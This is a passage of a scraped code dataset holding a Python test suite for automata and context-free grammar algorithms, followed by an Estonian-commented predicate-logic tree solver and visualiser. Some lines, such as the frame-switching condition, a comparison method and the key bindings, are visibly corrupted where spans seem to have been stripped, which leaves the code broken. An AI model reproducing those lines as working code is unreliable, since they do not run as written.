[\"A\"], \"b\": [\"C\", \"X\"]},\n \"X\": {\"a\": [], \"b\": []},\n }\n init_state = \"S\"\n a1 = NFA(states, alphabet, init_state, final_states, transitions, False)\n a1.determinize()\n\n states = [\"p\", \"q\", \"r\"]\n alphabet = [\"a\", \"b\", \"c\"]\n init_state = \"p\"\n final_states = [\"r\"]\n transitions = {\n \"p\": {\"a\": [\"p\"], \"b\": [\"q\"], \"c\": [\"r\"], \"&\": []},\n \"q\": {\"a\": [\"q\"], \"b\": [\"r\"], \"c\": [], \"&\": [\"p\"]},\n \"r\": {\"a\": [\"r\"], \"b\": [], \"c\": [\"p\"], \"&\": [\"q\"]},\n }\n\n a2 = NFA(states, alphabet, init_state, final_states, transitions, True)\n a2.determinize()\n\n transitions = {\n \"p\": {\"a\": [], \"b\": [\"q\"], \"c\": [\"r\"], \"&\": [\"q\"]},\n \"q\": {\"a\": [\"p\"], \"b\": [\"r\"], \"c\": [\"p\", \"q\"], \"&\": []},\n \"r\": {\"a\": [], \"b\": [], \"c\": [], \"&\": []},\n }\n a3 = NFA(states, alphabet, init_state, final_states, transitions, True)\n a3.determinize()\n\n\ndef test_cfLang_first_follow():\n\n cfg = ContextFreeGrammar(\n ['X', 'S', 'C'], ['c', 'd'],\n {\n 'X': ['S'],\n 'S': ['CC'],\n 'C': ['cC', 'd']\n },\n 'X'\n )\n assert set(cfg.first['X']) == {'c', 'd'}\n assert set(cfg.first['S']) == {'c', 'd'}\n assert set(cfg.first['C']) == {'c', 'd'}\n\n assert set(cfg.follow['X']) == {'$'}\n assert set(cfg.follow['S']) == {'$'}\n assert set(cfg.follow['C']) == {'$', 'c', 'd'}\n\n cfg = ContextFreeGrammar(\n ['S', 'A', 'B', 'C'], ['a', 'b', 'c', 'd'],\n {\n 'S': ['ABC'],\n 'A': ['aA', '&'],\n 'B': ['bB', 'ACd'],\n 'C': ['cC', 'd']\n },\n 'S'\n )\n assert set(cfg.first['S']) == {'a', 'b', 'c', 'd'}\n assert set(cfg.first['A']) == {'a', '&'}\n assert set(cfg.first['B']) == {'a', 'b', 'c', 'd'}\n assert set(cfg.first['C']) == {'c', 'd'}\n\n assert set(cfg.follow['S']) == {'$'}\n assert set(cfg.follow['A']) == {'a', 'b', 'c', 'd'}\n assert set(cfg.follow['B']) == {'c', 'd'}\n assert set(cfg.follow['C']) == {'$', 'd'}\n\n cfg = ContextFreeGrammar(\n ['P', 'K', 'V', 'F', 'C'], ['b', 'c', 'e', 'f', 'v', 'm', ';'],\n {\n 'P': ['KVC'],\n 'K': ['cK', '&'],\n 'V': ['vV', 'F'],\n 'F': ['fP;F', '&'],\n 'C': ['bVCe', 'm;C', '&']\n },\n 'P'\n )\n\n assert set(cfg.first['P']) == {'c', 'v', 'f', 'b', 'm', '&'}\n assert set(cfg.first['K']) == {'c', '&'}\n assert set(cfg.first['V']) == {'v', 'f', '&'}\n assert set(cfg.first['F']) == {'f', '&'}\n assert set(cfg.first['C']) == {'b', 'm', '&'}\n\n assert set(cfg.follow['P']) == {'$', ';'}\n assert set(cfg.follow['K']) == {'v', 'f', 'b', 'm', '$', ';'}\n assert set(cfg.follow['V']) == {'b', 'm', '$', ';', 'e'}\n assert set(cfg.follow['F']) == {'b', 'm', '$', ';', 'e'}\n assert set(cfg.follow['C']) == {'e', '$', ';'}\n\n cfg = ContextFreeGrammar(\n ['S', 'L', 'R'], ['=', '*', 'd'],\n {\n 'S': ['L=R', 'R'],\n 'L': ['*R', 'd'],\n 'R': ['L']\n },\n 'S'\n )\n assert set(cfg.first['S']) == {'*', 'd'}\n assert set(cfg.first['L']) == {'*', 'd'}\n assert set(cfg.first['R']) == {'*', 'd'}\n\n assert set(cfg.follow['S']) == {'$'}\n assert set(cfg.follow['L']) == {'$', '='}\n assert set(cfg.follow['R']) == {'$', '='}\n\n\ndef test_cfLang_ll_one_table():\n cfg = ContextFreeGrammar(\n ['S', 'L', 'K'], ['a', '(', ')'],\n {\n 'S': ['(L)', 'a'],\n 'L': ['SK'],\n 'K': ['&', 'SK']\n },\n 'S'\n )\n\n table = cfg.ll_one_table()\n assert table == {\n 'S': {\n '(': '(L)',\n 'a': 'a'\n },\n 'L': {\n '(': 'SK',\n 'a': 'SK'\n },\n 'K': {\n '(': 'SK',\n ')': '&',\n 'a': 'SK'\n }\n }\n\n # cfg = ContextFreeGrammar(\n # ['S', 'E', 'K'], ['a', 'i', 't', 'e', 'b'],\n # {\n # 'S': ['iEtSK', 'a'],\n # 'K': ['eS', '&'],\n # 'E': ['b']\n # },\n # 'S'\n # )\n # table = cfg.ll_one_table()\n\n\ndef test_unit_rules_removal():\n cfg = ContextFreeGrammar(\n ['S', 'L', 'K'], ['a', '(', ')'],\n {\n 'S': ['(L)', 'a'],\n 'L': ['S'],\n 'K': ['&', 'SK']\n },\n 'S'\n )\n productions = cfg.remove_unit_rules()\n assert set(productions['S']) == {'(L)', 'a'}\n assert set(productions['L']) == {'(L)', 'a'}\n assert set(productions['K']) == {'&', 'SK'}\n\n\ndef test_unreachable_rules_removal():\n cfg = ContextFreeGrammar(\n ['S', 'L', 'K'], ['a', '(', ')'],\n {\n 'S': ['(L)', 'a'],\n 'L': ['S'],\n 'K': ['&', 'SK']\n },\n 'S'\n )\n cfg.remove_unreachable_rules()\n assert set(cfg.productions['S']) == {'(L)', 'a'}\n assert 'S' in cfg.productions\n assert 'S' in cfg.nonterminals\n assert 'L' in cfg.productions\n assert 'L' in cfg.nonterminals\n assert 'K' not in cfg.productions\n assert 'K' not in cfg.nonterminals\n\n\ndef test_improductive_rules_removal():\n cfg = ContextFreeGrammar(\n ['S', 'L', 'K'], ['a', '(', ')'],\n {\n 'S': ['(L)', 'a'],\n 'L': ['K'],\n 'K': ['&', 'LK']\n },\n 'S'\n )\n cfg.remove_improductive_rules()\n assert set(cfg.productions['S']) == {'(L)', 'a'}\n assert 'S' in cfg.productions\n assert 'S' in cfg.nonterminals\n assert 'L' not in cfg.productions\n assert 'L' not in cfg.nonterminals\n assert 'K' not in cfg.productions\n assert 'K' not in cfg.nonterminals\n\n\nif __name__ == \"__main__\":\n # test_minimization_alives()\n # print('----------------------')\n # test_minimization_reachables()\n # print('----------------------')\n # test_group_equivalent()\n # test_minimization()\n test_cfLang_first_follow()\n test_cfLang_ll_one_table()\n test_unit_rules_removal()\n test_unreachable_rules_removal()\n test_improductive_rules_removal()\n print('YAY! Passed all tests!')\n","repo_name":"cchenzi/INE5421","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":9396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"16261636078","text":"#selle faili omanik on Olger Männik. Kõik peale visualiseerimise osa sellest on minu poolt kirjutatud. Tahan säilitada kõik võimalikud õigused selle faili sisule.\nfrom sys import argv\n\n#TODO: special field in vertexes to indicate if the vertex must be under or above a special horisontal line. May assume that branches o of vertixes that are over line are also always over line.\n#TODO: crossing out type2 edges should cover type1 edges.\nimport tkinter as tk\nimport networkx as nx\nimport random\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk\nfrom collections import deque\nclass Tree_Visualize:\n def __init__(self,frames):\n self.f=plt.figure()\n self.f.add_subplot(111)\n\n self.window = tk.Tk()\n self.window.title(\"frame: 0\")\n self.window.attributes('-fullscreen', True)\n self.fullScreenState = False\n self.window.bind(\"\", self.toggleFullScreen)\n self.window.bind(\"\", self.quitFullScreen)\n self.window.bind(\"\", lambda x:self.swich_frame(1))\n self.window.bind(\"\", lambda x:self.swich_frame(-1))\n self.canvas = FigureCanvasTkAgg(self.f, master=self.window)\n self.canvas.get_tk_widget().pack(side='top', fill='both',expand=1) # `side='top', fill='both', expand=1` will resize plot when you resize window\n toolbar=NavigationToolbar2Tk(self.canvas, self.window)\n toolbar.update()\n self.frames=frames\n self.i_frame=0\n self.root_vertex = self.frames[0]\n self.generate_tree()\n self.window.mainloop()\n def swich_frame(self, n_frames_to_swich):\n if self.i_frame+n_frames_to_swichmax_pikkus:\n max_pikkus=len(jupp)\n return max_pikkus\n def generate_tree(self):\n G=nx.Graph()\n dq=deque([self.root_vertex])\n #type2_edge_labels={}\n sildid_küljel={}\n to_end_of_lv=1\n colors=[]\n while dq:\n vert=dq.pop()\n to_end_of_lv-=1\n if (isinstance(vert.predikaadid, dict)):\n sildid_küljel[vert] = [False, False]\n if to_end_of_lv == 0:\n sildid_küljel[vert][0]=True\n to_end_of_lv = len(dq) + 1\n if to_end_of_lv == 1:\n sildid_küljel[vert][1]=True\n else:\n add_param_names=[False,False]\n if to_end_of_lv==0:\n add_param_names[0]=True\n to_end_of_lv=len(dq)+1\n if to_end_of_lv==1:\n add_param_names[1]=True\n sildid_küljel[vert]=Tree_Visualize.get_predikaadid(vert,add_param_names=add_param_names)\n if isinstance(vert,LV):\n for i_EK in range(len(vert.LRid)):\n G.add_edge(vert, vert.LRid[i_EK])\n colors.append((1,1,0))#kollane\n dq.appendleft(vert.LRid[i_EK])\n else:\n for i_EK in range(len(vert.EKd)):\n G.add_edge(vert, vert.EKd[i_EK])\n dq.appendleft(vert.EKd[i_EK])\n if vert.EKd[i_EK].märk==\"laiendatud\":\n colors.append((0,0,1))#sinine\n elif vert.EKd[i_EK].märk:\n colors.append((0,1,0))#roheline #TODO: kaaluda mustaks teha\n else:\n colors.append((1,0,0))#punane\n #type2_edge_labels[id(vert),id(vert.EKd[i_EK])]='x'\n if G.number_of_nodes()!=0:\n pos = Tree_Visualize.hierarchy_pos(G, self.root_vertex)\n labeldict=Tree_Visualize.fill_the_gaps_of_the_param_tree(G, self.root_vertex, sildid_küljel)\n\n for node, (x, y) in pos.items():\n if sildid_küljel[node][0]:\n x-=0.0025*Tree_Visualize.leia_max_pikkusega_rida(labeldict[node])#kuna see nihe on suhtelise osana ekraani suurusest, aga texti font o pikslites, siis erinevatel ekraanidel võib erinevat niihet vaja olla.\n if sildid_küljel[node][1]:\n x+=0.0025*Tree_Visualize.leia_max_pikkusega_rida(labeldict[node])\n pos[node]=(x,-y)\n #üks võimalus, et kõik ära mahuks on vähendada fondi suurust.\n nx.draw(G,pos=pos,font_weight=\"bold\",font_size=7,node_size=0,node_color='white',labels=labeldict,with_labels=True,edge_color=colors)\n #nx.draw_networkx_edge_labels(G, flipped_pos, edge_labels=type2_edge_labels, font_color='red')\n else:\n G.add_node(\"FALSE\")\n nx.draw(G,node_color='yellow',labels={\"FALSE\":\"FALSE\\nLV:+:LV\"},with_labels=True)\n plt.subplots_adjust(top=1.05,right=1.05,left=-0.05,bottom=-0.05,hspace=0,wspace=0)\n self.canvas.draw()\n #self.canvas._tkcanvas.pack(side='top', fill='both', expand=1)\n @staticmethod\n def fill_the_gaps_of_the_param_tree(G, root, sildid_küljel):\n labeldict={}\n level = 0\n while True:\n level_nodes = []\n level_predikaadid = []\n nodes = set(nx.ego_graph(G, root, radius=level))\n nodes -= set(nx.ego_graph(G, root, radius=level - 1))\n nodes = list(nodes)\n if len(nodes) == 0:\n break\n else:\n for node in nodes:\n if (isinstance(node.predikaadid, dict)):\n level_nodes.append(node)\n level_predikaadid.extend(node.predikaadid.keys())\n level_predikaadid = list(set(level_predikaadid))\n \"\"\"\n final_level_predikaadid = []\n for param in level_predikaadid:\n match = False\n for param1 in final_level_predikaadid:\n try:\n if param == param1:\n match = True\n except Exception as e:\n print(e)\n if match == False:\n final_level_predikaadid.append(param)\n level_predikaadid=final_level_predikaadid\n \"\"\"#kui on mitu võrdset asja level_predikaadid'es, siis viskab 1 neist välja.\n try:\n level_predikaadid.sort(reverse=True, key=Tipp.predikaatväidete_sorteerimise_võti)\n except Exception as e:\n print(e)\n node_count = 0\n for node in nodes:\n if (isinstance(node.predikaadid, dict)):\n labels = []\n for key_name in level_predikaadid:\n if key_name in node.predikaadid.keys():\n if node.predikaadid[key_name] == False: # MINU MUUTUS\n labels.append(\"-\")\n elif node.predikaadid[key_name] == True: # MINU MUUTUS\n labels.append(\"+\")\n else: # MINU MUUTUS\n labels.append(node.predikaadid[key_name])\n else:\n labels.append(\" \")\n if sildid_küljel[node][0]:\n labels[-1]=str(key_name)+\": \"+labels[-1]\n if sildid_küljel[node][1]:\n labels[-1]+=\" :\"+str(key_name)\n labeldict[node] = '\\n'.join(labels)\n node_count += 1\n max_predikaadid = 0\n for node in nodes:\n if (labeldict[node].count('\\n') > max_predikaadid):\n max_predikaadid = labeldict[node].count('\\n')\n for node in nodes:\n labeldict[node] = '\\n' * int(max_predikaadid - labeldict[node].count('\\n')) + labeldict[node]\n level = level + 1\n return labeldict\n @staticmethod\n def hierarchy_pos(G, root=None, width=1, vert_gap=0.2, vert_loc=0, xcenter=0.5):\n if not nx.is_tree(G):\n raise TypeError('cannot use hierarchy_pos on a graph that is not a tree')\n\n if root is None:\n if isinstance(G, nx.DiGraph):\n root = next(iter(nx.topological_sort(G))) # allows back compatibility with nx version 1.11\n else:\n root = random.choice(list(G.nodes))\n\n def _hierarchy_pos(G, root, width=0.5, vert_gap=0.2, vert_loc=0, xcenter=0.5, pos=None, parent=None):\n if pos is None:\n pos = {root: (xcenter, vert_loc)}\n else:\n pos[root] = (xcenter, vert_loc)\n children = list(G.neighbors(root))\n if not isinstance(G, nx.DiGraph) and parent is not None:\n children.remove(parent)\n if len(children)!=0:\n dx = width / len(children)\n nextx = xcenter - width / 2 - dx / 2\n\n for child in children:\n nextx += dx\n pos = _hierarchy_pos(G, child, width=dx, vert_gap=vert_gap,\n vert_loc=vert_loc - vert_gap, xcenter=nextx,\n pos=pos, parent=root)\n return pos\n\n return _hierarchy_pos(G, root, width, vert_gap, vert_loc, xcenter)\n @staticmethod\n def get_predikaadid(vertex):\n final_str = \"\"\n v = vertex.predikaadid[::-1]\n for i in v:\n if i == False:\n final_str += \"-\"\n elif i == True:\n final_str += \"+\"\n else:\n final_str += i\n final_str += \"\\n\"\n return final_str[:-1]\n\nfrom sympy import Symbol, to_dnf, Or, And, Not\nfrom sympy.logic.boolalg import Boolean\nfrom copy import deepcopy\n#TODO:Et performany parendada võib Sympyst ainult need asjad oma projekti kopeerida, mida kasutan ja liigsed väljad kustutada.\n\n#TODO:kui ainult predikaadid, NOR ja U on pole sympit enam vb. vaja. Ülejäänud seose enda sees defineeritud.\nclass Predikaat_väide(Symbol):#võib symbol asemel pärineda Atomist või Booleanist.\n def __new__(self,predikaat, argumendid=[]):\n predikaat_väide=Symbol.__new__(self, predikaat.nimi+\"(\"+','.join([str(i) for i in argumendid])+\")\")\n predikaat_väide.argumendid=tuple(argumendid)\n predikaat_väide.nimi=predikaat.nimi\n predikaat_väide.predikaat=predikaat\n #print(\"loodud uus PV. predikaat_väide.nimi=\",predikaat_väide.nimi,\" ; Predikaat_väide.predikaat\",Predikaat_väide.predikaat)\n return predikaat_väide\n def __lt__(self, other):\n if isinstance(other,Predikaat_väide):\n if self.argumendid!=other.argumendid:\n return self.argumendidmax_lv:\n max_lv=lv\n continue\n if vert == False:\n lv -= 1\n continue\n dq.append(False)\n for branch in vert.EKd:\n dq.append(branch)\n dq.append(True)\n return max_lv\n def alluvad_sabaga_eesjärjestuses(self,eitustest_mitte_läbi_minna=False,eitatute_harudesse_mitte_minna=False,laiendatuid_mitte_võtta=True,leveleid=None,tipp_ise_ka=False):\n if leveleid==None:\n leveleid=float(\"inf\")\n dq=[self]\n tee=[None]\n alluvad_eesjärjestus=[]\n while dq:\n tipp=dq.pop()\n if tipp==True:\n tee.append(None)\n continue\n if tipp==False:\n tee.pop()\n continue\n tee[-1]=tipp\n alluvad_eesjärjestus.append(tee.copy())\n dq.append(False)\n if (not eitatute_harudesse_mitte_minna or tipp.märk) and len(tee)<=leveleid:\n for EK in tipp.EKd[::-1]:\n if (not eitustest_mitte_läbi_minna or EK.märk) and (not laiendatuid_mitte_võtta or EK.märk!=\"laiendatud\"):\n dq.append(EK)\n dq.append(True)\n if not tipp_ise_ka:\n alluvad_eesjärjestus.pop(0)\n return alluvad_eesjärjestus\n def täida_eitatud_asendus(self,algne_eitatud_tipp,leveleid,i,P1,alluvad_sabaga):\n assert leveleid>=0\n if leveleid==0:\n return\n dq=[algne_eitatud_tipp[-1]]\n algne_tee=[None]\n uus_tee=[Tipp({},[],[]),self]\n while dq:\n tipp=dq.pop()\n if tipp==True:\n algne_tee.append(None)\n uus_tee.append(None)\n continue\n if tipp==False:\n algne_tee.pop()\n uus_tee.pop()\n continue\n algne_tee[-1]=tipp\n if len(algne_tee)!=1: # kui ei lähe esimest korda while-tsüklisse.\n uus_tee[-1]=Tipp({},[],None)\n uus_tee[-2].EKd.append(uus_tee[-1])\n uus_tee[-1].märk=algne_tee[-1].märk\n\n ####\n if len(algne_tee)!=1:\n for predikaatväide,predikaatväite_väärtus in algne_tee[-1].predikaadid.items():\n #print(\"pv, tipus, mis on P1es madalaml või sama kõrgel ja puus kõrgemal või sama kõrgel kui alluvad_sabaga[P1[i1]].\")#itereerib üle kõigi predikaatväidete, mis on P1es madalamal või sama kõrgel ja puus kõrgemal või sama kõrgel.\n uute_predikaatväidete_argumendid=[[]]\n if isinstance(predikaatväide,Predikaat_väide):\n for a in predikaatväide.argumendid:\n if a>=len(algne_eitatud_tipp)-1:#kui a tipp on puus peale algset eitatud tippu\n indexid_P1es=[a+2+i-len(algne_eitatud_tipp)]\n else:#kui a tipp on puus enne algset eitatud tippu\n #print(\"P1:\",P1)\n #print(\"tipp enne eitatud haru: a=\",a,\" ; argumendi tipp=\",algne_eitatud_tipp[a])\n argumendi_tipp=algne_eitatud_tipp[a]#See tipp mille kvanteeritav argumendiks on.\n #print(\"a:\",a,\"; a-tipp:\",argumendi_tipp)\n indexid_P1es=[]#Näitab, et mis indeksitel(see tipp või P1es mitu korda olla) argumendi(kvanteeritava) a tipp P1es on.\n for i3 in range(i+1):\n #print(\"i3:\",i3,\"; alluvad_sabaga[P1[i3]][-1]:\",alluvad_sabaga[P1[i3]][-1])\n if alluvad_sabaga[P1[i3]][-1]==argumendi_tipp:\n #Mis indeksil selle argumendi(kvanteeritava) kvantor(tipp) P1es on.\n indexid_P1es.append(i3+1)\n #print(\"indexid_P1es:\",indexid_P1es)\n vana_uute_predikaatväidete_argumendid=uute_predikaatväidete_argumendid.copy()#todo:optimeerimiseks saab kopeerimise eemaldada.\n uute_predikaatväidete_argumendid=[]\n for v in vana_uute_predikaatväidete_argumendid:\n for index_P1es in indexid_P1es:#TODO: lihtne lihtsustus\n uute_predikaatväidete_argumendid.append(v+[index_P1es])\n if not indexid_P1es:\n #print(\"predikaatväidet argumentidega\",uute_predikaatväidete_argumendid,\"ei lisatud tippu\",uus_tee[-1],\", sest 1 selle argumendi tipp ei olnud asenduse harus. originaal:\",predikaatväide)\n break\n else:\n for uue_predikaatväite_argumendid in uute_predikaatväidete_argumendid:\n uus_tee[-1].predikaadid[Predikaat_väide(predikaatväide.nimi,uue_predikaatväite_argumendid)]=predikaatväite_väärtus#+\"l:\"+str(P1[i1])+\"i:\"+str(P1[i2])\n #print(\"täitmises: tipule\",uus_tee[-1],\"lisati predikaatväide\",Predikaat_väide(predikaatväide.nimi,uue_predikaatväite_argumendid))\n #print(\"algne väide:\",predikaatväide)\n ####\n dq.append(False)\n if len(uus_tee)<=leveleid+1:\n for EK in tipp.EKd[::-1]:\n dq.append(EK)\n dq.append(True)\n @staticmethod\n def _teisenda_predikaatväited(laiendatud, P1, alluvad_sabaga, tipu_kuhu_asendatakse_k):\n for i2 in range(len(P1)):\n #print(\"eelneja P1es:\",P1[i2])\n if alluvad_sabaga[P1[-1]][-1] in alluvad_sabaga[P1[i2]]:#alluvad[P1[i1]] ja alluvad[P1[i2]] on samal joonel puus. alluvad[P1[i2]] kõrgemal.\n #print(P1[i2],\"(\",i2,\")\",\"on madalamal P1es ja kõrgemal puus kui \",P1[-1],\"(\",-1,\") ; P1=\",P1)\n for predikaatväide,predikaatväite_väärtus in alluvad_sabaga[P1[i2]][-1].predikaadid.items():\n #print(\"pv tipus, mis on P1es madalaml või sama kõrgel ja puus kõrgemal või sama kõrgel kui alluvad_sabaga[P1[-1]]:\",predikaatväide)#itereerib üle kõigi predikaatväidete, mis on P1es madalamal või sama kõrgel ja puus kõrgemal või sama kõrgel.\n uute_predikaatväidete_argumendid=[[]]\n if isinstance(predikaatväide,Predikaat_väide):\n for a in predikaatväide.argumendid:\n argumendi_tipp=alluvad_sabaga[P1[i2]][a]#See tipp mille kvanteeritav argumendiks on.\n indexid_puus=[]#Näitab, et mis indeksitel(see tipp või P1es mitu korda olla) argumendi(kvanteeritava) a tipp P1es on.\n for i3 in range(len(P1)):#todo: või i2'eni itereerida?\n if alluvad_sabaga[P1[i3]][-1]==argumendi_tipp:\n #Mis indeksil selle argumendi(kvanteeritava) kvantor(tipp) P1es on.\n indexid_puus.append(i3+1)\n vana_uute_predikaatväidete_argumendid=uute_predikaatväidete_argumendid.copy()#todo:optimeerimiseks saab kopeerimise eemaldada.\n uute_predikaatväidete_argumendid=[]\n for v in vana_uute_predikaatväidete_argumendid:\n for index_P1es in indexid_puus:\n uute_predikaatväidete_argumendid.append(v+[index_P1es])\n if not indexid_puus:\n #print(\"predikaatväidet argumentidega\",uute_predikaatväidete_argumendid,\"ei lisatud tippu\",P1[i1],\"(\",i1+1,\"), sest 1 selle argumendi tipp ei olnud asenduse harus. originaal:\",pv)\n break\n else:\n for uue_predikaatväite_argumendid in uute_predikaatväidete_argumendid:\n if len(P1) in uue_predikaatväite_argumendid:\n laiendatud[len(P1)-tipu_kuhu_asendatakse_k].predikaadid[Predikaat_väide(predikaatväide.nimi, uue_predikaatväite_argumendid)]=predikaatväite_väärtus#+\"l:\"+str(P1[i1])+\"i:\"+str(P1[i2])\n #print(\"tipule\",P1[-1],\"(\",len(P1),\")\",\"lisada predikaatväide\",Predikaat_väide(predikaatväide.nimi,uue_predikaatväite_argumendid))\n #print(\"algne väide:\",predikaatväide,\"algne tipp:\",P1[-1],\"(\",i2+1,\")\\n\")\n #print(\"P1:\",len(P1))\n #else:\n #print(\"predikaatväidet argumentidega\",uue_predikaatväite_argumendid,\"ei lisatud tippu\",P1[-1],\"(\", len(P1), \"), sest seal polnud vastava tippu kvanteeritavat.\\n\")\n def laiendatud_EKd(self, tipp_kuhu_asendatakse_sabaga):#FAILIS \"alternatiivsed funktsioonid.py\" on teistsugune ja vb. efektiivsem implementatsioon sellest funktsioonist.\n #self peaks funktsiooni kutsel olema LR\n alluvad_sabaga=self.alluvad_sabaga_eesjärjestuses(eitatute_harudesse_mitte_minna=True)\n ###\n for i_alluv in range(len(alluvad_sabaga)):\n alluvad_sabaga[i_alluv][-1].predikaadid[\"n\"]=str(i_alluv)\n ###\n\n suhteline_kõrgus=0\n for eitatud_EK in tipp_kuhu_asendatakse_sabaga[-1].EKd:\n if not eitatud_EK.märk:\n eitatud_haru_kõrgus=eitatud_EK.suhteline_kõrgus()\n if eitatud_haru_kõrgus>suhteline_kõrgus:\n suhteline_kõrgus=eitatud_haru_kõrgus\n #print(\"eitatud harude max kõrgus:\",suhteline_kõrgus)\n if suhteline_kõrgus==0:\n return ()\n\n tipu_max_index=len(alluvad_sabaga)-1\n kaadrid.append(deepcopy(kaader))\n P1=[]\n for s in tipp_kuhu_asendatakse_sabaga:\n for i_alluv in range(len(alluvad_sabaga)):\n if s==alluvad_sabaga[i_alluv][-1]:\n P1.append(i_alluv)\n tipu_kuhu_asendatakse_k=len(P1)\n\n for i in range(len(alluvad_sabaga)):\n if alluvad_sabaga[i][-1].märk:\n break\n P1.append(i)\n P1+=[0]*(suhteline_kõrgus-1)\n laiendatud=[tipp_kuhu_asendatakse_sabaga[-1]]+[None]*suhteline_kõrgus\n kaadrid.append(deepcopy(kaader))\n #print(\"muuta: [P1, P1, 'P1']\")\n G=True\n while 1:\n i=len(P1)-1\n while i>=tipu_kuhu_asendatakse_k:\n if P1[i]==tipu_max_index:\n P1[i]=0\n i-=1\n else:\n assert P1[i]>EK1_pv:\n break\n else:\n return False\n return True\n @staticmethod\n def sisud_kooskõlas(tipp1,tipp2):\n pass\n def mitte_ÜV(self):\n #TODO:Saab puu koostamisega kokku panna ja kontrollida ÜVd juba enne täielikku parssimist.\n #TODO:Need harud võib eemaldada, mille olemasolu saab järeldada teisi mingi järjekorras valides.\n #TODO:saab asendada ka eitatud kvantoreid. Kahe P1 elemendi vaheline seos ei säili, kui esimesest(P1'es väiksema indeksiga) teise minemiseks tuleb tagurpidi läbida eitatud haru.\n #todo:Juba enne LRe puustruktuur. nii et kui mingist harust on laiendatud EKde lisamise abil mingi uus saadud, siis uus saab selle haru haruks.\n for tipp_sabaga in self.alluvad_sabaga_eesjärjestuses(eitustest_mitte_läbi_minna=True,tipp_ise_ka=True):\n tipp_ÜV=False\n #todo:Kui laiendatud_EKsse tuleb eitatud kvanto poolikult(kõrgemad oksad puudu), siis see tugvendab eitatud_EKd, ja muudab algoritmi valeks.\n for l_EK in self.laiendatud_EKd(tipp_sabaga):\n for eitatud_EK in self.EKd:\n if not eitatud_EK.märk:\n if Tipp.täpsem_kui(l_EK, eitatud_EK): # l_EK täpsem või võrdne kui eitatud_EK(ja kooskõlas).\n # self.EKd.pop(0)\n print(\"laiendatud haru\",l_EK,\"on täpsem kui eitatud haru\",eitatud_EK)\n tipp_ÜV = True\n break # LR on ÜV\n if Tipp.sisud_kooskõlas(eitatud_EK,l_EK):#kui pole kindel, et asjal, mille eksisteerimist l_EK väidab ei pea selleks, et selle eksisteerimine eitatud l_EK poolt keelatud poleks, olema omadusi, mida l_EK sisus pole kirjeldatud ja selleks ei pea sellega seoses uusi asju eksisteerima või mitte eksisteerima.\n print(\"laiendatud haru\", l_EK, \"ja eitatud haru\", eitatud_EK,\"sisud on kooskõlas.\")\n #sellest, mis l_EK sees otseselt kirjas on ei piisa, et järeldada, et l_EK poolt kirjeldatu eksisteerimine pole eitatud l_EK poolt keelatud.\n #eitatud_EK täpsem kui l_EK või eitatud_EK on täpsuselt võrreldamatu EKga.\n # kui l_EK kirjeldatud:\n # asjal peavad olema mingid predikaat väited,\n # asjaga seoses peavad muud asjad eksisteerima või\n # muud asjad ei tohi selle asjaga mingil viisil seotud olles eksisteerida\n # et l_EK kirjeldatud asja eksiteerimine poleks eitatud l_EK poolt eitatud\n # ja seda pole l_EK sees otseselt kirjas.\n pass#Luua uusi LRe, EKsse on lisatud vastasmärgiga eitatud_EK harusid, et l_EK ja eitatud_EK sisud ei oleks kooskõlas.\n # else:\n # pass#sellest, mis l_EK sees otseselt kirjas on piisab, et järeldada, et see pole eitatud l_EK poolt keelatud.\n if tipp_ÜV:\n break\n if tipp_ÜV:\n break\n #Tree_Visualize(kaadrid)\n #kaadrid.append(deepcopy(LV))\n return [Tipp({\"t\":\"T\"},[],True)]#True\n def __lt__(self,other):#todo: mõelda, et mille järgi sorteerida.\n return (self.märk, sorted(self.predikaadid.items(), key=Tipp.predikaatväidete_sorteerimise_võti), self.EKd) < (other.märk, sorted(other.predikaadid.items(), key=Tipp.predikaatväidete_sorteerimise_võti), other.EKd)\n @staticmethod\n def predikaatväidete_sorteerimise_võti(x):\n if isinstance(x, tuple):\n pv=x[0]\n väärtus=x[1]\n else:\n pv=x\n väärtus=None\n if not isinstance(pv, Predikaat_väide):\n return ((-float(\"inf\"),),pv,väärtus)\n else:\n return (pv.argumendid,pv.nimi,väärtus)\n# def __eq__(self, other):\n# return self.märk==other.märk and self.predikaadid==other.predikaadid and self.EKd==other.EKd\nclass LV:\n def __init__(self,seos):\n if isinstance(seos,Boolean):\n self.predikaadid={\"LV\":True}\n self.LRid=[]\n for LR in LV.koosta_puu(seos):\n assert LR.märk==True\n LR.märk=\"LR\"\n self.LRid.append(LR)\n self.LRid.sort()\n else:\n self.LRid=seos\n self.predikaadid={\"P\":\"p\"}\n #raise NotImplementedError\n def __str__(self):\n sees=[]\n if not self.LRid:\n return \"FALSE\"\n for ek in self.LRid:\n sees.append(str(ek))\n return \" | \".join(sees)\n def __repr__(self):\n return self.__str__()\n def LRid_sabaga_eesjärjestuses(self,leveleid=None):\n if leveleid==None:\n leveleid=float(\"inf\")\n dq=[self]\n tee=[None]\n alluvad_eesjärjestus=[]\n while dq:\n tipp=dq.pop()\n if tipp==True:\n tee.append(None)\n continue\n if tipp==False:\n tee.pop()\n continue\n tee[-1]=tipp\n #print(\"tee:\",tee,\" ; type(tee[-1]):\",type(tee[-1]))\n if isinstance(tee[-1],Tipp):\n alluvad_eesjärjestus.append(tee.copy())\n else:\n dq.append(False)\n if len(tee)<=leveleid:\n for EK in tipp.LRid[::-1]:\n dq.append(EK)\n dq.append(True)\n return alluvad_eesjärjestus\n def mitte_ÜV(self):\n #TODO:kui laiendada Expr klassi siis saab selle ehk klassimeetodiks teha. Et seda saaks otse Sympy avaldistele või klassi E objektidele rakendada.\n #TODO:Saab puu koostamisega kokku panna ja kontrollida ÜVd juba enne täielikku parssimist.\n global kaadrid,kaader\n kaader=self\n kaadrid=[deepcopy(self)]\n\n ######ajutine\n #for LR in self.LRid:\n # LR.mitte_ÜV()\n #Tree_Visualize(kaadrid)\n #input(\"######\")\n ######\n\n ajutine=0\n while self.LRid and ajutine<3:\n ajutine+=1\n LRid_sabaga=self.LRid_sabaga_eesjärjestuses()\n #print(len(LRid_sabaga))\n for i_LR in range(len(LRid_sabaga)):\n juurde_tekitatud_harud=LRid_sabaga[i_LR][-1].mitte_ÜV()\n if juurde_tekitatud_harud==True:\n Tree_Visualize(kaadrid)\n return True\n elif juurde_tekitatud_harud==[]:\n LRid_sabaga[i_LR][-2].LRid.remove(LRid_sabaga[i_LR][-1])\n else:\n 